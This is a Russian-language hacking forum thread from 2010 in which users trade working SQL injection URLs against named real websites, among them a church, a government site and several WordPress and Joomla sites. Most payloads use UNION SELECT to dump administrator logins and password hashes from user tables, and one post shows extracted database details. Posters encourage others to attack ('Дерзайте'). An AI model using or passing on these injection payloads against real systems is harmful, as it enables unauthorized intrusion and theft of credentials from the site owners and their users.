04.10.2010, 02:32
|
|
Новичок
Регистрация: 09.04.2009
Сообщений: 8
С нами:
8994048
Репутация:
0
|
|
http://smu17.ru/stol.php?id=-1+union+select+1,concat(LOGIN,0x3a,PASS)+from+kapi tal_zed_users+limit+0,1--
Tic-30 админка /zed/
PS. через эту же скулю еще сотня соседей. Дерзайте
|
|
|
04.10.2010, 14:16
|
|
Новичок
Регистрация: 24.12.2004
Сообщений: 16
С нами:
11250603
Репутация:
7
|
|
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//blinginbox.com/product.php?cateId=10&sx=-15+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--[/COLOR][/COLOR]
|
|
|
|
04.10.2010, 17:45
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
Код:
http://www.yuzhnoye.com/?id=14'%20and%20substring(version(),1,1)=5--%201&path=about_company/history/missiles/missiles
|
|
|
|
04.10.2010, 18:06
|
|
Познающий
Регистрация: 15.09.2008
Сообщений: 54
С нами:
9290631
Репутация:
46
|
|
Код:
http://www.sportware.ru/?id=-91+and+1=0+union+select+1,2,version(),4,5,6,7--
Код:
http://www.multi-master.ru/service/detail.php?id=-10+union+select+1,version(),3--
|
|
|
|
04.10.2010, 19:00
|
|
Участник форума
Регистрация: 06.10.2008
Сообщений: 165
С нами:
9260607
Репутация:
66
|
|
Код:
http://www.irancivilcenter.com/en/news/view.php?news_id=-3+union+select+concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,2,3,4,5--
Username: iranciv_icc82m@localhost
Version: 5.0.91-community
Database: iranciv_news
Google PR: 5 |
|
|
|
04.10.2010, 23:13
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
http://danlempriere.com/articles.php?id=2+and+substring((select+1),1,1)=tr ue
MDB2
нету прав нa mdb2 schema
|
|
|
|
05.10.2010, 00:41
|
|
Новичок
Регистрация: 06.07.2009
Сообщений: 18
С нами:
8867250
Репутация:
0
|
|
http://www.simport.ru/?page=3&id=2+and+1=0+union+select+1,2,group_concat %28table_name%29,4,5,6,7+from+information_schema.t ables+where+table_schema=database%28%29+--+
|
|
|
|
05.10.2010, 13:04
|
|
Познающий
Регистрация: 10.04.2010
Сообщений: 49
С нами:
8467184
Репутация:
1
|
|
Дырявая джумла:
--------------------------------------------------------------------------
http://www.reynoldsburgchurch.org/index.php? option=com_dcs_flashgames&Itemid=61&catid=51+union +all+select+1,2,3,4,concat_ws%280x3a,username,p ass word%29,6,7+from+jos_users--
--------------------------------------------------------------------------
http://www.pokermachinez.com/index.php? option=com_dcs_flashgames&Itemid=61&catid=51+union +all+select+1,2,user%28%29,4,@@version,6,concat_ws %280x3a,username,p ass word%29+from+jos_users--
--------------------------------------------------------------------------
http://www.sinab.gov.ec/index.php?option=com_restaurante&task=detail&Itemi d=1&id=-99999+UNION+SELECT+0,0,0x3a,0,0,0,0,0,0,0,0,11,12, 1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3, 3,3,3,4,4,4,4,concat%280x1e,usernam e,0x3a,p ass word,0x1e,0x3a,usertype,0x1e%29+FROM+jos_users--&lang=it
--------------------------------------------------------------------------
http://www.sitgesrestaurantes.com/index.php?option=com_restaurante&task=detail&Itemi d=1&id=-99999+UNION+SELECT+0,0,0x3a,0,0,0,0,0,0,0,0,11,12, 1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3, 3,3,3,4,4,4,4,concat%280x1e,us ername,0x3a,p ass word,0x1e,0x3a,usertype,0x1e%29+FROM+jos_users--&lang=it
--------------------------------------------------------------------------
http://www.sobakavdome.ru/index.php?option=com_iss&task=expotag&id=602+and+1 =0+union+select+0,1,2,3,4,group_concat%28us ername,0x3a,p ass word,0x3a,email%29+from+jos_users--
--------------------------------------------------------------------------
|
|
|
|
05.10.2010, 16:03
|
|
Новичок
Регистрация: 27.07.2010
Сообщений: 6
С нами:
8312726
Репутация:
1
|
|
Код:
http://isfav.it/index.php?pag=materie&id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20distinct%20concat(0x7e,0x27,Hex(cast(schema_name%20as%20char)),0x27,0x7e)%20FROM%20information_schema.schemata%20LIMIT%202,1),0x31303235343830303536--
База isfav_db2
И пара других там еще есть =)
PR 4 |
|
|
|
05.10.2010, 21:00
|
|
Познающий
Регистрация: 10.04.2010
Сообщений: 49
С нами:
8467184
Репутация:
1
|
|
Бажный водпресс:
---------------------------------------------------------------------------
http://www.chicasrider.cl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,group_concat(0x3a,use r_login,0x3a,user_p ass),6,7,8+from+wp_users--
---------------------------------------------------------------------------
http://www.fosa.biz/wp-admin/admin.php?page=people&action=printable&event_id=-15+union+select+0,1,2,concat_ws(user_login,0x3a,u ser_p ass),4+from+wp_users--
(Уникальная вещь для меня, первый раз получилось через админ.пхп скулю провести)
P.S. Сервак виндовый
---------------------------------------------------------------------------
http://www.kfir.co.il/news.php?id=23+and+1=0+union+select+1,group_concat (u ser_login,0x3a,user_p ass),3,4,5,6,7,8,9+from+wp_users--
---------------------------------------------------------------------------
http://www.topbeauty.ro/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,group_concat(0x3a,u ser_login,0x3a,user_p ass),6,7,8+from+wp_users--
---------------------------------------------------------------------------
http://www.bulldogdesigninc.com/News.php?id=12+AND+1=2+UNION+SELECT+0,1,2,3,group_ concat(user_login,0x3a,user_pass),5%20from%20wp_us ers--
---------------------------------------------------------------------------
http://www.jeremybouma.net/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--
---------------------------------------------------------------------------
http://staroftheseakeywest.com/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--
---------------------------------------------------------------------------
http://cycling4fun.com/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--
---------------------------------------------------------------------------
http://www.giveawayriches.com/jvblog/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,n ull,concat(0x7c,user_login,0x7c,u ser_p ass,0x7c),null,null,null,null,null,null,null,null% 20%20from%20wp_users
---------------------------------------------------------------------------
З.Ы. Блин, да сколько же дырок-то....
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
